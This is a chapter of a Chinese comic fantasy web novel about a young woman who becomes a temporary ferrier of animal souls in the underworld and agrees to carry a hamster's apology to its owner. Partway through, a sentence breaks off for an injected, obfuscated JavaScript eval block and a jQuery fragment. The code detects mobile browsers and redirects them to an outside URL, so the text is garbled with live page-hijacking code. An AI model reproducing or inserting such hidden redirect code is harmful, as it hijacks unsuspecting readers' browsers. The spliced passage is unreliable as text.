眼泪不知不觉糊了满脸,砸在地上,溅起小小的灰。
要是再哭一会,是不是能把地府淹了?淹了能回去么?
“只是什么?”她抹了把脸,死死地盯着云衍,语气斩钉截铁:
“只要能回去,怎么样都行。”
云衍别开视线,支支吾吾地开口,“往返阳间当临时摆渡人,你只用……呃……”
说到一半就开始卡壳,眼神飘忽的像被抓包的小学生。
橘猫懒洋洋地接话,“帮助魂魄完成执念,让它们安心投胎。”
云衍忙不迭地点头,“对对对,差不多就是这个意思。”
“可以往返阳间?忙吗?”江窈眼睛一亮。
“很简单的,偶尔跟它们唠嗑一下。”云衍指了指柜台后面那只脑袋再次埋进胳膊的橘猫,“看见没?工作强度参考这位。”
他微微倾身,压低声音,“还是铁饭碗哦。”
江窈的嘴角止不住的上翘,恨不得直接跟太阳肩并肩。
坐在宽敞明亮的办公室里,排队的小猫小狗可可爱爱。她坐在工位后边刷着手机,伸手就能撸到猫。
空闲时间……什么空闲时间,工作内容不就是撸猫吗?
这哪里是解决方法,这简直是天下掉馅饼啊!
“干!干的就是摆渡人!”她一骨碌从地上爬起来,眼睛亮晶晶地看着云衍。
“怎么申请?要考试吗?有五险一金吗?简历我是现编一份还是让我爸妈给我烧下来?”
云衍被她这突如其来的亢奋弄的一愣,无奈开口,“不用考试,发的是功德。”
她的脸瞬间皱成包子,功德?她现在又得开店又得干这个,都快007了,居然就发这种看不见摸不着,投胎时才用的上的玩意?
云衍嘴角忍不住向上弯了弯,努力地端着架子“功德可以兑换现金哦~,汇率也还算公道。”
“嗯……也不是钱的事吧。”她扯扯自己沾了灰的衣摆,眼神往他脸上瞟了一下,又飞快地收回来。“主要是想为小动物的身心健康贡献力量。”
说完自己都觉得假,一片片揪着一边的发财树的叶子。
手被按住了,云衍把她的爪子从发财树上挪开,那里已经秃了一小块:“双休,六险二金,考虑好了我就带你去摆渡区入职。”
“那还等什么?时间就是生命!我爱上班!”江窈一把攥住他的手腕,拖着他朝外走去,边走还不忘偷偷摩挲两下。
没有柔软的皮毛,只有光滑的皮肤和分明的骨节。
好像没有当猫时手感好,果然毛茸茸才是正义,她不满地把手撒开了,“咪咪,你能变回猫吗?”
毛茸茸的同事,一定能让兼职之旅更加美好,她眼巴巴地看着云衍。
“不能。”
两人七拐八绕,来到一个活像阳间保安亭的小亭子跟前。
云衍朝里边的哈士奇抬抬下巴,“临时摆渡人,时间到回阳通道修好就行。”
江窈好奇地将头探进窗打量。什么品种的?小猫吗?来来来让姨姨吸一口。
嗯?
一只黑白毛色的哈士奇正趴在电脑前,屏幕上赫然是某款很火的游戏。
哈士奇头也不抬,“等一哈啊,等我打完这个副本。”
“……”两人沉默地看着屏幕里的角色被boss一巴掌拍死。
“好菜啊……”江窈小声嘟囔着。
“你行你来撒。”哈士奇这才意犹未尽地放下鼠标,从旁边抽出一本厚重的暗红色小册子,啪地一声拍在柜台上,“这是地府任职契约,看后没问题的话盖一下就行。”
说完继续盯着复活倒计时,尾巴一下下地拍着地板。
一般来说不是工作强度跟劳动合同的厚度成正比么?
江窈掂量掂量手中可以比肩医学生教科书的板砖,狐疑地打量着心虚到低着头的云衍,“咪咪,你们地府的防身武器挺别致啊。”
“看我干什么,看合同。”云衍抱着胳膊,眼神虚的直往外边瞟。
她迟疑地翻开,密密麻麻的繁体文言文扑面而来。扫一眼就感觉头晕目眩,什么“禁止倒卖孟婆汤。”“禁止拿雷劈上司。”等等……
比阳间的劳动合同复杂一万倍,还有的字她看都看不懂。
她多想穿越回小时候,把那个不好好学文言文的自己打一顿。
“看完了?没问题就按。”云衍抱着胳膊在一遍看她。
“……”这么厚的册子,我看个鬼啊看完了。
不入职就魂飞魄散,六险二金隔着册子在朝她挥手,江窈索性翻到最后将手按了上去。
手腕浮现出一个指甲盖大小的浅色印记,她紧张的一直盯着,直到消失后才松一口气。
吓死了,差点以为一辈子会印在那,万一之后还想考公怎么办?
身体逐渐消失的飘忽感消失了,脚踩实地。
“契约成立。”哈士奇从柜台下拿出一块巴掌大的令牌递过去,“这是工作证,请妥善保管。补办100功德一次。”
江窈端详着手中的令牌,沉甸甸的,心中有点恍惚,“这就好了?”
“好了。现在带你去摆渡区熟悉一下工作内容。”云衍领着她朝外走去,语气轻快。
她喜滋滋地跟上,早已开始规划着摸鱼大计。等回去了,就先拆游戏机,再点个外卖。地府这边要不带个小毯子来吧,到时候往办公室一铺,舒舒服服地躺着刷手机。
两人忘川河走了一阵子,四周的景色逐渐破败。空气不再是那种若有若无的香火味,她忍不住皱起鼻子。
好熏,有点打脑壳。
像是一大群疏于打理的动物聚集在一起产生的发酵玉米味。隐隐约约还能听到各种小动物的叫声,翅膀扑棱声,骂架哭嚎声。
江窈捏着鼻子赶路,心里听的直发毛。
这……看起来不像是轻松的样子啊。
“咪咪,我怎么感觉你骗我呢?”她眯起眼打量着跟前头也不抬只顾赶路的云衍,头上的猫耳正心虚晃悠。
云衍含糊其辞地开口,”到了你就知道了。“
两人来到一个宽宽的广场。
密密麻麻的魂魄挤在一起,硬是把巨大的广场占满了,连一个下脚的地方都没有。
她看到一只金毛一直在跟空气玩球,叼回来,放下,再叼回来,眼睛始终望着某个方向,像是再等谁把球扔出去。一只鹦鹉反复啄自己的羽毛,啄下一根,又长出来一根。
几只身穿小马甲的德牧在动物群里穿梭:“排队!都别插队了!”
江窈心中那些对工作的美好景愿瞬间碎成一地渣渣。
江窈咬牙切齿地开口,“云、衍。”
那罪魁祸首正专注地研究旁边一个破鸟笼的构造,就是不敢看她。
“这就是你说的工作内容简单?”她指了指混乱不堪的场面。一只在地上打滚哀嚎的长毛猫,依稀能听见“主人那天为什么摸隔壁的猫不摸我”的质问,她咬牙切齿的问到:
“你管这叫倾听小心愿?”
云衍目光游移着,轻咳一声,“那个……事情总有两面性嘛,你看,它们多需要帮助。”
“我觉得我也需要帮助!”江窈差点跳起来,“我要法律援助!你这是虚假招聘!”
“来都来了嘛……”云衍小心翼翼地拉着她的衣角晃晃,头上的猫耳可怜兮兮的耷拉成了飞机耳。
江窈被这传统四字咒语和撒娇卖萌堵的胸口发闷。看着这一片汪洋的魂魄大海,简直比得知她只剩十二时辰还要绝望。
还得干满三天,她干一天就得疯了。
她想直接往地上一躺就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382747|200214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开始装死,裤脚传来一阵轻微的拉扯感,一道细微的声音传入耳畔:“那个……你是新来的摆渡人么?”
江窈环顾四周,身边就一个把破鸟笼盯出花的罪魁祸首,难道幻听了?
“下面,下面。”那道声音又响起来,扯裤脚的力道稍微大了那么一丁点。
江窈低下头,终于和一双湿漉漉的小黑豆眼对上视线。
那是一只小小的小仓鼠,奶油色的毛有点凌乱,怀里抱着一颗葵瓜子,它仰着头,期待着看着江窈。
“是你在喊我吗?”她蹲下身看向小仓鼠。
“对。”小仓鼠怯懦的开口,抱着瓜子的手又紧了紧,“我能感觉到你身上的气息,你是新来的摆渡人,对吗?”
“嗯,你找我有什么事吗?”江窈点点头,面对这么小小一只,实在是很难继续暴躁。
小仓鼠见她愿意听,眼睛一亮,“你能帮我给主人带句话吗?就说我不是故意啃坏她的新耳机的……只是想磨牙。”
“……”江窈眨了眨眼睛。
就这?啃坏耳机?她不太能理解,这怎么就成心结了。
小仓鼠见她不吭声,以为是不肯答应,眼泪都掉了几颗,“我本来是想托梦的……但是我买不起托梦套餐,功德太难攒了……”
它越说越小声,小脑袋越垂越低,几乎把自己埋进爪子里。
她想起自己在回阳司时那句斩钉截铁的“只要能回去,做什么都行”。自己跟广场上千千万万的动物魂魄,本质上又有什么区别呢?都想回去,都有放不下的事情。
只是自己更幸(倒)运(霉)一点,还有一个临时工的机会。
她小心翼翼地把小仓鼠拎起来放在掌心,“你放心,我一定帮你把话带到。以月亮……不是,以临时摆渡人的名义。”
小仓鼠愣住了,呆呆地盯着她。
“太好了!你真的是一个好两脚兽!”小仓鼠激动的在她掌心疯狂转圈,转了七八圈才抱着江窈的手指停下,像倒豆子一样往外到它主人的信息:
“我主人叫林婉,住在阳光小区4栋,她的那个耳机是白色的,上面有个小兔子贴纸。我咬的是右边那只……”
信息之全面,甚至包括了耳机的型号,那天的天气,自己的忏悔心得,甚至连咬了几口都交代的清清楚楚。
江窈听得咂舌,网上再有人说仓鼠得脑仁没瓜子大它第一个不同意,瞧瞧这熟练度,开个代写检讨的服务完全能赚得盆满钵满。
她赶紧掏出手机在备忘录里记下小仓鼠说的地址和想要带的话,又好奇地询问起了物价,“对了,你们的功德怎么攒的?‘托梦套餐’多少钱?”
小仓鼠像被戳破得气球在她掌心瘫成一张鼠饼,“托梦套餐好贵好贵的,我在地府超市收银,帮兔子奶奶找过假牙,攒了好久都还差一半呢……”
它抱着自己那颗宝贝瓜子,眼神暗淡。
世风日下,仓鼠也得打工啊,江窈叹了口气,仿佛看到努力赚钱只为躺平的自己,再次郑重保证,“放心,交给我就好了。”
小仓鼠把瓜子举过头顶,“这个给你!这是我最喜欢的瓜子!”
“不用,你自己留着吧。”
“不行!你一定要收下!”小仓鼠坚持举着。
江窈只好伸出手,让它把瓜子放在上边。
小仓鼠满意地笑了,一溜烟回到了队伍中:“谢谢你,两脚兽。”
她扭头看向云衍,那家伙正盯着她,嘴角弯了弯:“怎么,不生气了?”
“生气有什么用?来都来了。”她无奈地耸肩,“对了,功德换现金的汇率是多少?”
“1比一千。”
江窈眼睛一亮,广场上那密密麻麻的哪里是魂魄啊,简直是“财富自由”四个大字在朝自己招手:“愣着干什么?走走,出发!”